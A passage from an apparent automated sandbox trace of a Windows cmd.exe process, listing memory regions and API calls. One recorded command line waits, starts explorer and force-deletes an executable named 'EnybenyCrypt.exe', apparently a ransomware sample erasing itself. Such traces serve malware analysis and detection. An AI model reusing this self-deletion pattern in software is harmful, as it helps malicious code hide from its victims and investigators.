00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 403 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 404 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 405 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 406 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 407 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 408 start_va = 0xf0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 409 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 410 start_va = 0x4ac90000 end_va = 0x4acdbfff entry_point = 0x4ac90000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 411 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 412 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 413 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 414 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 415 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 416 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 417 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 418 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 419 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 420 start_va = 0x230000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 421 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 422 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 423 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 424 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 425 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 426 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 427 start_va = 0x4d0000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 428 start_va = 0x752a0000 end_va = 0x752a6fff entry_point = 0x752a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 429 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 430 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 431 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 432 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 433 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 434 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 435 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 436 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 437 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 438 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 439 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 440 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 441 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 442 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 443 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 444 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 445 start_va = 0x5d0000 end_va = 0x757fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 446 start_va = 0x760000 end_va = 0x76ffff entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 447 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 448 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 452 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 453 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 454 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 455 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 456 start_va = 0x770000 end_va = 0x8f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 457 start_va = 0x900000 end_va = 0x1cfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 458 start_va = 0x1d00000 end_va = 0x2042fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d00000" filename = "" Region: id = 459 start_va = 0x2050000 end_va = 0x231efff entry_point = 0x2050000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 15 os_tid = 0x558 [0106.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3cfb5c | out: lpSystemTimeAsFileTime=0x3cfb5c*(dwLowDateTime=0xcd639220, dwHighDateTime=0x1d46f95)) [0106.099] GetCurrentProcessId () returned 0x5c4 [0106.099] GetCurrentThreadId () returned 0x558 [0106.099] GetTickCount () returned 0x277cd [0106.099] QueryPerformanceCounter (in: lpPerformanceCount=0x3cfb54 | out: lpPerformanceCount=0x3cfb54*=1818079700000) returned 1 [0106.100] GetModuleHandleA (lpModuleName=0x0) returned 0x4ac90000 [0106.100] __set_app_type (_Type=0x1) [0106.100] __p__fmode () returned 0x75ed31f4 [0106.102] __p__commode () returned 0x75ed31fc [0106.102] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4acb21a6) returned 0x0 [0106.102] __getmainargs (in: _Argc=0x4acb4238, _Argv=0x4acb4240, _Env=0x4acb423c, _DoWildCard=0, _StartInfo=0x4acb4140 | out: _Argc=0x4acb4238, _Argv=0x4acb4240, _Env=0x4acb423c) returned 0 [0106.103] GetCurrentThreadId () returned 0x558 [0106.103] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x558) returned 0x60 [0106.103] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0106.103] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0106.103] SetThreadUILanguage (LangId=0x0) returned 0x409 [0106.103] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0106.103] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3cfaec | out: phkResult=0x3cfaec*=0x0) returned 0x2 [0106.104] VirtualQuery (in: lpAddress=0x3cfb23, lpBuffer=0x3cfabc, dwLength=0x1c | out: lpBuffer=0x3cfabc*(BaseAddress=0x3cf000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0106.104] VirtualQuery (in: lpAddress=0x2d0000, lpBuffer=0x3cfabc, dwLength=0x1c | out: lpBuffer=0x3cfabc*(BaseAddress=0x2d0000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0106.104] VirtualQuery (in: lpAddress=0x2d1000, lpBuffer=0x3cfabc, dwLength=0x1c | out: lpBuffer=0x3cfabc*(BaseAddress=0x2d1000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0106.104] VirtualQuery (in: lpAddress=0x2d3000, lpBuffer=0x3cfabc, dwLength=0x1c | out: lpBuffer=0x3cfabc*(BaseAddress=0x2d3000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0106.104] VirtualQuery (in: lpAddress=0x3d0000, lpBuffer=0x3cfabc, dwLength=0x1c | out: lpBuffer=0x3cfabc*(BaseAddress=0x3d0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x100000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0106.104] GetConsoleOutputCP () returned 0x1b5 [0106.104] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acb4260 | out: lpCPInfo=0x4acb4260) returned 1 [0106.104] SetConsoleCtrlHandler (HandlerRoutine=0x4acae72a, Add=1) returned 1 [0106.104] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.104] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0106.104] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.104] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4acb41ac | out: lpMode=0x4acb41ac) returned 1 [0106.105] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.105] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0106.105] _get_osfhandle (_FileHandle=0) returned 0x3 [0106.105] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4acb41b0 | out: lpMode=0x4acb41b0) returned 1 [0106.106] _get_osfhandle (_FileHandle=0) returned 0x3 [0106.106] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0106.125] GetEnvironmentStringsW () returned 0x4e2118* [0106.125] FreeEnvironmentStringsW (penv=0x4e2118) returned 1 [0106.126] GetEnvironmentStringsW () returned 0x4e2118* [0106.126] FreeEnvironmentStringsW (penv=0x4e2118) returned 1 [0106.126] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3cea5c | out: phkResult=0x3cea5c*=0x68) returned 0x0 [0106.126] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x0, lpData=0x3cea68*=0x0, lpcbData=0x3cea60*=0x1000) returned 0x2 [0106.126] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x4, lpData=0x3cea68*=0x1, lpcbData=0x3cea60*=0x4) returned 0x0 [0106.126] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x0, lpData=0x3cea68*=0x1, lpcbData=0x3cea60*=0x1000) returned 0x2 [0106.126] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x4, lpData=0x3cea68*=0x0, lpcbData=0x3cea60*=0x4) returned 0x0 [0106.127] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x4, lpData=0x3cea68*=0x40, lpcbData=0x3cea60*=0x4) returned 0x0 [0106.127] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x4, lpData=0x3cea68*=0x40, lpcbData=0x3cea60*=0x4) returned 0x0 [0106.127] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x0, lpData=0x3cea68*=0x40, lpcbData=0x3cea60*=0x1000) returned 0x2 [0106.127] RegCloseKey (hKey=0x68) returned 0x0 [0106.127] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3cea5c | out: phkResult=0x3cea5c*=0x68) returned 0x0 [0106.127] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x0, lpData=0x3cea68*=0x40, lpcbData=0x3cea60*=0x1000) returned 0x2 [0106.128] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x4, lpData=0x3cea68*=0x1, lpcbData=0x3cea60*=0x4) returned 0x0 [0106.128] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x0, lpData=0x3cea68*=0x1, lpcbData=0x3cea60*=0x1000) returned 0x2 [0106.128] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x4, lpData=0x3cea68*=0x0, lpcbData=0x3cea60*=0x4) returned 0x0 [0106.128] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x4, lpData=0x3cea68*=0x9, lpcbData=0x3cea60*=0x4) returned 0x0 [0106.128] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x4, lpData=0x3cea68*=0x9, lpcbData=0x3cea60*=0x4) returned 0x0 [0106.128] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3cea64, lpData=0x3cea68, lpcbData=0x3cea60*=0x1000 | out: lpType=0x3cea64*=0x0, lpData=0x3cea68*=0x9, lpcbData=0x3cea60*=0x1000) returned 0x2 [0106.128] RegCloseKey (hKey=0x68) returned 0x0 [0106.128] time (in: timer=0x0 | out: timer=0x0) returned 0x5bd71ca4 [0106.128] srand (_Seed=0x5bd71ca4) [0106.128] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C timeout 2 && explorer && Del /Q /F C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe" [0106.128] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C timeout 2 && explorer && Del /Q /F C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe" [0106.130] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acb5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0106.130] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4e2120, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0106.142] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0106.142] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0106.142] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0106.142] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0106.142] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0106.142] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0106.142] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0106.142] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0106.142] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0106.142] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0106.142] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0106.142] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0106.142] GetEnvironmentStringsW () returned 0x4e2330* [0106.143] FreeEnvironmentStringsW (penv=0x4e2330) returned 1 [0106.143] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0106.143] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0106.143] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0106.143] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0106.143] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0106.143] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0106.143] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0106.143] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0106.143] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0106.143] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0106.143] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3cf828 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0106.143] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3cf828, lpFilePart=0x3cf824 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3cf824*="Desktop") returned 0x25 [0106.143] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0106.143] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3cf5a4 | out: lpFindFileData=0x3cf5a4) returned 0x4e5780 [0106.143] FindClose (in: hFindFile=0x4e5780 | out: hFindFile=0x4e5780) returned 1 [0106.143] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3cf5a4 | out: lpFindFileData=0x3cf5a4) returned 0x4e5780 [0106.144] FindClose (in: hFindFile=0x4e5780 | out: hFindFile=0x4e5780) returned 1 [0106.144] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0106.144] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3cf5a4 | out: lpFindFileData=0x3cf5a4) returned 0x4e5780 [0106.145] FindClose (in: hFindFile=0x4e5780 | out: hFindFile=0x4e5780) returned 1 [0106.145] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0106.145] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0106.145] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0106.145] GetEnvironmentStringsW () returned 0x4e41a0* [0106.145] FreeEnvironmentStringsW (penv=0x4e41a0) returned 1 [0106.145] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acb5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0106.146] GetConsoleOutputCP () returned 0x1b5 [0106.146] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acb4260 | out: lpCPInfo=0x4acb4260) returned 1 [0106.146] GetUserDefaultLCID () returned 0x409 [0106.146] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4acb4950, cchData=8 | out: lpLCData=":") returned 2 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3cf968, cchData=128 | out: lpLCData="0") returned 2 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3cf968, cchData=128 | out: lpLCData="0") returned 2 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3cf968, cchData=128 | out: lpLCData="1") returned 2 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4acb4940, cchData=8 | out: lpLCData="/") returned 2 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4acb4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4acb4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4acb4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4acb4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4acb4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4acb4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4acb4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4acb4930, cchData=8 | out: lpLCData=".") returned 2 [0106.147] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4acb4920, cchData=8 | out: lpLCData=",") returned 2 [0106.147] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0106.148] GetConsoleTitleW (in: lpConsoleTitle=0x4e2f38, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0106.148] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0106.148] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0106.149] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0106.149] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0106.150] _wcsicmp (_String1="timeout", _String2=")") returned 75 [0106.150] _wcsicmp (_String1="FOR", _String2="timeout") returned -14 [0106.150] _wcsicmp (_String1="FOR/?", _String2="timeout") returned -14 [0106.150] _wcsicmp (_String1="IF", _String2="timeout") returned -11 [0106.150] _wcsicmp (_String1="IF/?", _String2="timeout") returned -11 [0106.150] _wcsicmp (_String1="REM", _String2="timeout") returned -2 [0106.150] _wcsicmp (_String1="REM/?", _String2="timeout") returned -2 [0106.161] _wcsicmp (_String1="FOR", _String2="explorer") returned 1 [0106.161] _wcsicmp (_String1="FOR/?", _String2="explorer") returned 1 [0106.161] _wcsicmp (_String1="IF", _String2="explorer") returned 4 [0106.161] _wcsicmp (_String1="IF/?", _String2="explorer") returned 4 [0106.161] _wcsicmp (_String1="REM", _String2="explorer") returned 13 [0106.161] _wcsicmp (_String1="REM/?", _String2="explorer") returned 13 [0106.162] _wcsicmp (_String1="FOR", _String2="Del") returned 2 [0106.162] _wcsicmp (_String1="FOR/?", _String2="Del") returned 2 [0106.162] _wcsicmp (_String1="IF", _String2="Del") returned 5 [0106.162] _wcsicmp (_String1="IF/?", _String2="Del") returned 5 [0106.162] _wcsicmp (_String1="REM", _String2="Del") returned 14 [0106.162] _wcsicmp (_String1="REM/?", _String2="Del") returned 14 [0106.165] GetConsoleTitleW (in: lpConsoleTitle=0x3cf5fc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0106.165] _wcsicmp 